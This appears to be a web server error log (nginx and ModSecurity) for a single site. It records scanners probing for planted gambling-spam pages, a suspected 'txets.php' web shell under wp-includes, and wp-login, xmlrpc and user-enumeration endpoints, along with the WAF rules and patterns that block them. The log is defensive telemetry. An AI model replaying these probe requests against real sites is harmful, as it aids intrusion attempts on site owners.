2026/03/11 02:01:34 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufa%20wallet%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20wallet%20777.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:34.855486 2026] [:error] [pid 6894:tid 7182] [client 79.137.65.139:52670] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abBcfp4b1T0HQdoE97LxwAAAAIA"]
[Wed Mar 11 02:01:36.561982 2026] [:error] [pid 6892:tid 7105] [client 79.137.65.139:52694] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20wallet.aspx"] [unique_id "abBcgBRWb70O8HM28tGtwgAAABg"]
2026/03/11 02:01:36 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufa%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20wallet.aspx", host: "rcacivilgroup.com"
2026/03/11 02:01:38 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufabet%20100.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20100.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:38.140694 2026] [:error] [pid 6894:tid 7206] [client 79.137.65.139:52718] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufabet%20100.aspx"] [unique_id "abBcgp4b1T0HQdoE97LxyQAAAJY"]
2026/03/11 02:01:39 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufabet%201668.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%201668.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:39.837594 2026] [:error] [pid 7307:tid 7333] [client 79.137.65.139:52734] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufabet%201668.aspx"] [unique_id "abBcg-tE6Vj1tEJkynHkhwAAANg"]
2026/03/11 02:01:41 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufabet%207777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%207777.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:41.543923 2026] [:error] [pid 7307:tid 7312] [client 79.137.65.139:52754] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufabet%207777.aspx"] [unique_id "abBchetE6Vj1tEJkynHkigAAAMM"]
[Wed Mar 11 02:01:43.272045 2026] [:error] [pid 7307:tid 7324] [client 79.137.65.139:52778] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abBch-tE6Vj1tEJkynHkjwAAAM8"]
2026/03/11 02:01:43 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufabet%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto%20wallet.aspx", host: "rcacivilgroup.com"
2026/03/11 02:01:45 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufabet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:45.028794 2026] [:error] [pid 6892:tid 7104] [client 79.137.65.139:52798] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufabet%20auto.aspx"] [unique_id "abBciRRWb70O8HM28tGtyAAAABc"]
2026/03/11 02:01:46 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufabet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20net.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:46.683973 2026] [:error] [pid 6892:tid 7091] [client 79.137.65.139:52822] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufabet%20net.aspx"] [unique_id "abBcihRWb70O8HM28tGtyQAAAAs"]
2026/03/11 02:01:48 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufabet%20wallet%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet%20777.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:48.377780 2026] [:error] [pid 7307:tid 7310] [client 79.137.65.139:52856] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abBcjOtE6Vj1tEJkynHkngAAAME"]
2026/03/11 02:01:50 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufabet%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:50.110448 2026] [:error] [pid 7307:tid 7320] [client 79.137.65.139:52880] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufabet%20wallet.aspx"] [unique_id "abBcjutE6Vj1tEJkynHkowAAAMs"]
2026/03/11 02:01:51 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /w69%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/w69%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:51.771361 2026] [:error] [pid 6894:tid 7183] [client 79.137.65.139:52916] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w69%20slot.aspx"] [unique_id "abBcj54b1T0HQdoE97Lx3AAAAIE"]
2026/03/11 02:01:53 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /wallet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/wallet%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:53.459690 2026] [:error] [pid 6894:tid 7199] [client 79.137.65.139:52938] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wallet%20slot.aspx"] [unique_id "abBckZ4b1T0HQdoE97Lx4AAAAJA"]
[Wed Mar 11 05:30:55.124252 2026] [:error] [pid 6118:tid 6177] [client 64.89.163.10:51006] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "abCNj1XprP7_-KEgC-0DfgAAAE4"]
[Wed Mar 11 05:30:56.178835 2026] [:error] [pid 6119:tid 6205] [client 64.89.163.10:51026] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "abCNkG9mEGP4iomVkSYvYgAAAI4"]
[Wed Mar 11 05:30:56.688572 2026] [:error] [pid 6118:tid 6174] [client 64.89.163.10:51034] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "abCNkFXprP7_-KEgC-0DggAAAEs"]
[Wed Mar 11 05:30:58.872892 2026] [:error] [pid 6118:tid 6168] [client 64.89.163.10:51066] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "abCNklXprP7_-KEgC-0DiQAAAEU"]
[Wed Mar 11 07:48:40.019914 2026] [:error] [pid 6222:tid 6247] [client 209.87.169.121:40734] [client 209.87.169.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abCt2Hs7MIv-0SYBFu25swAAANc"]
2026/03/11 08:07:16 [error] 3462#3462: *592027 upstream prematurely closed connection while reading response header from upstream, client: 134.199.146.217, server: rcacivilgroup.com, request: "GET /shop/wp-admin/install.php HTTP/1.1", upstream: "http://103.4.122.14:8181/shop/wp-admin/install.php", host: "rcacivilgroup.com"
[Wed Mar 11 08:07:16.366846 2026] [:error] [pid 6119:tid 6207] [client 134.199.146.217:53600] [client 134.199.146.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop/wp-admin/install.php"] [unique_id "abCyNG9mEGP4iomVkSZPvQAAAJA"]
[Wed Mar 11 08:12:03.006746 2026] [:error] [pid 6222:tid 6241] [client 64.89.163.10:56470] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "abCzU3s7MIv-0SYBFu2_LQAAANE"]
[Wed Mar 11 08:12:03.510871 2026] [:error] [pid 6222:tid 6240] [client 64.89.163.10:56476] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "abCzU3s7MIv-0SYBFu2_LwAAANA"]
[Wed Mar 11 08:12:04.017878 2026] [:error] [pid 6222:tid 6245] [client 64.89.163.10:56482] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "abCzVHs7MIv-0SYBFu2_MAAAANU"]
[Wed Mar 11 08:12:06.228100 2026] [:error] [pid 11751:tid 11762] [client 64.89.163.10:56500] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "abCzVnKeU7OoUEz26eXOhQAAAUk"]
[Wed Mar 11 13:20:33.479406 2026] [:error] [pid 45143:tid 45147] [client 49.150.105.135:57266] [client 49.150.105.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abD7oSEXSpYdWImkpzaaNgAAAYI"]
[Wed Mar 11 17:43:17.621456 2026] [:error] [pid 44995:tid 45020] [client 5.196.202.32:46576] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abE5NToOSr9ks_axo6OThgAAAlc"]
[Wed Mar 11 19:16:19.604872 2026] [:error] [pid 23512:tid 23517] [client 139.59.139.254:48238] [client 139.59.139.254] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "abFPA6euPtNfm7KRzWXWAwAAAUI"]
[Wed Mar 11 19:16:20.923409 2026] [:error] [pid 23482:tid 23499] [client 139.59.139.254:48262] [client 139.59.139.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abFPBMrYaTAnN_mLXynatAAAAQ4"]
[Wed Mar 11 19:16:22.041949 2026] [:error] [pid 44995:tid 45006] [client 139.59.139.254:48278] [client 139.59.139.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abFPBjoOSr9ks_axo6OxMAAAAkk"]
[Wed Mar 11 19:16:23.038794 2026] [:error] [pid 44995:tid 45003] [client 139.59.139.254:48290] [client 139.59.139.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abFPBzoOSr9ks_axo6OxMgAAAkY"]
[Wed Mar 11 19:16:24.113726 2026] [:error] [pid 44800:tid 44815] [client 139.59.139.254:48306] [client 139.59.139.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abFPCDN8ZerbIEHTO2qaiwAAAc0"]
[Wed Mar 11 19:16:24.113848 2026] [:error] [pid 44800:tid 44815] [client 139.59.139.254:48306] [client 139.59.139.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.4.122.14, counter = 8"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abFPCDN8ZerbIEHTO2qaiwAAAc0"]
2026/03/11 19:16:24 [error] 53947#53947: *1021324 upstream prematurely closed connection while reading response header from upstream, client: 139.59.139.254, server: rcacivilgroup.com, request: "POST /xmlrpc.php HTTP/1.1", upstream: "http://103.4.122.14:8181/xmlrpc.php", host: "rcacivilgroup.com"
2026/03/11 19:33:13 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /all%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/all%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:13.524368 2026] [:error] [pid 23482:tid 23496] [client 62.113.117.240:34398] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/all%20slot.aspx"] [unique_id "abFS-crYaTAnN_mLXync_QAAAQs"]
2026/03/11 19:33:15 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /allslot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/allslot%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:15.507179 2026] [:error] [pid 54045:tid 54060] [client 62.113.117.240:34428] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/allslot%20wallet.aspx"] [unique_id "abFS-yRcKzQ1f-N8TgS3WwAAAM0"]
2026/03/11 19:33:17 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /amb%20superslot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/amb%20superslot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:17.529600 2026] [:error] [pid 44995:tid 45020] [client 62.113.117.240:34474] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amb%20superslot.aspx"] [unique_id "abFS_ToOSr9ks_axo6O1hAAAAlc"]
2026/03/11 19:33:19 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /apollo%20slot%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/apollo%20slot%20pg.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:19.504274 2026] [:error] [pid 44995:tid 45012] [client 62.113.117.240:34504] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abFS_zoOSr9ks_axo6O1hwAAAk8"]
2026/03/11 19:33:21 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/auto%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:21.499963 2026] [:error] [pid 44800:tid 44823] [client 62.113.117.240:34538] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/auto%20slot.aspx"] [unique_id "abFTATN8ZerbIEHTO2qbvgAAAdU"]
2026/03/11 19:33:23 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflik%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20casino.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:23.497145 2026] [:error] [pid 44995:tid 45005] [client 62.113.117.240:34572] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20casino.aspx"] [unique_id "abFTAzoOSr9ks_axo6O1iAAAAkg"]
[Wed Mar 11 19:33:25.333468 2026] [:error] [pid 54045:tid 54069] [client 62.113.117.240:34614] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20co.aspx"] [unique_id "abFTBSRcKzQ1f-N8TgS3dAAAANY"]
2026/03/11 19:33:25 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflik%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20co.aspx", host: "rcacivilgroup.com"
2026/03/11 19:33:27 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflik%20dc.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20dc.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:27.405824 2026] [:error] [pid 54045:tid 54048] [client 62.113.117.240:34636] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20dc.aspx"] [unique_id "abFTByRcKzQ1f-N8TgS3eAAAAME"]
2026/03/11 19:33:29 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflik%20original.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20original.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:29.385181 2026] [:error] [pid 54045:tid 54052] [client 62.113.117.240:34666] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20original.aspx"] [unique_id "abFTCSRcKzQ1f-N8TgS3fwAAAMU"]
2026/03/11 19:33:31 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflik%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:31.396609 2026] [:error] [pid 45143:tid 45156] [client 62.113.117.240:34702] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20slot.aspx"] [unique_id "abFTCyEXSpYdWImkpzbkXQAAAYs"]
[Wed Mar 11 19:33:33.381732 2026] [:error] [pid 54045:tid 54064] [client 62.113.117.240:34728] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20thailand.aspx"] [unique_id "abFTDSRcKzQ1f-N8TgS3iAAAANE"]
2026/03/11 19:33:33 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflik%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20thailand.aspx", host: "rcacivilgroup.com"
2026/03/11 19:33:35 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflix%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20auto.aspx", host: "rcacivilgroup.com"
